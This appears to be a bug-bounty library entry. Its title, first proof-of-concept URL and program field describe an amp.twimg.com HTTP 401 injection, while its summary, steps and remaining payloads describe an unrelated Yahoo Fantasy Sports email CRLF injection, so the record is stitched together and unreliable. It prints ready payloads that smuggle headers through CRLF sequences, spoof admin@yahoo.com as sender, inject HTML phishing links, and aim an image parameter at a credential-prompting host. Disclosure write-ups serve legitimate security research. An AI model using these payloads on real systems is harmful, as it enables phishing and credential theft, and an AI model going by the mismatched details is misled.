# HTTP 401 response injection on "amp.twimg.com/amplify-web-player/prod/source.html" through "image_src" parameter

Yahoo Fantasy Sports invite form allowed CRLF injection into email headers, letting attackers spoof From addresses and inject HTML into emails sent from Yahoo.

- Payout: $1,250
- Severity: low
- Program: X / xAI
- Found by: zlz
- Disclosed: 2017-05-08
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/221328
- Library page: https://bugbountylibrary.com/r/h1%3A221328
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:low tech:email technique:source-review vuln:crlf-injection

**Target:** Email invitation form (inviteUser endpoint) on Yahoo Fantasy Sports
**Root cause:** User-supplied name/email values were concatenated into email headers passed to the mail function without stripping CRLF sequences, allowing header injection.
**Steps:**
1. Submit the invite form with `email=samwcurry@gmail.com>\r\nSubject: you have been hacked!\r\nCookie:`
2. The injected CRLF terminates the To header and adds attacker-controlled Subject/Cookie headers
3. Resulting email shows `To: <samwcurry@gmail.com>`, `Subject: you have been hacked!`, `Cookie: >`
4. To spoof sender, inject `Subject: injectable content! woo! \r\nFrom: admin@yahoo.com \r\n[additional headers] \r\n\r\n<style>#hidden{}</style><a href='malicious.com'>Click me!</a><div id="hidden">`
5. For multipart, inject `Hello \r\n\r\n--YYY_MESSAGE_YYY\r\nContent-Type: text/html; charset=UTF-8;\r\n\r\n<a href='malicious.com'>Click me!</a>`
**How found:** Reasoned that mailing systems are commonly missed by scanners since tools don't inspect received email contents; focused on Yahoo Fantasy Sports invite forms that trigger outbound email.
**Exploitation:** Attacker submits crafted invite form values containing CRLF to inject arbitrary email headers, spoof From as admin@yahoo.com, and inject HTML/multipart content into emails delivered by Yahoo's own infrastructure, bypassing spam heuristics and auto-loading images.
**Escalation:** Spoofing admin@yahoo.com bypasses Yahoo's image auto-load whitelist, enabling HTTP 401 credential-prompt attacks against victims.
**Insight:** Email-sending forms are under-scanned; test invite/notification endpoints for CRLF injection into headers, and check whether spoofed internal senders bypass client-side image/whitelist protections.

## Proof of concept (copied exactly from the original report)

**PoC URL with image_src pointing to 401 host**

```
https://amp.twimg.com/amplify-web-player/prod/source.html?url=n/a&image_src=https://897theriver.com/admin&player_swf_url=https://897theriver.com/admin&page=amplify_card
```

**CRLF injection request in email invitation**

```
POST /invitation
Host: vulnerable.com

email=samwcurry@gmail.com>\r\nSubject: you have been hacked!\r\nCookie:
```

**Multipart boundary injection payload**

```
Hello \r\n
\r\n
--YYY_MESSAGE_YYY\r\n
Content-Type: text/html; charset=UTF-8;\r\n

<a href='malicious.com'>Click me!</a>
```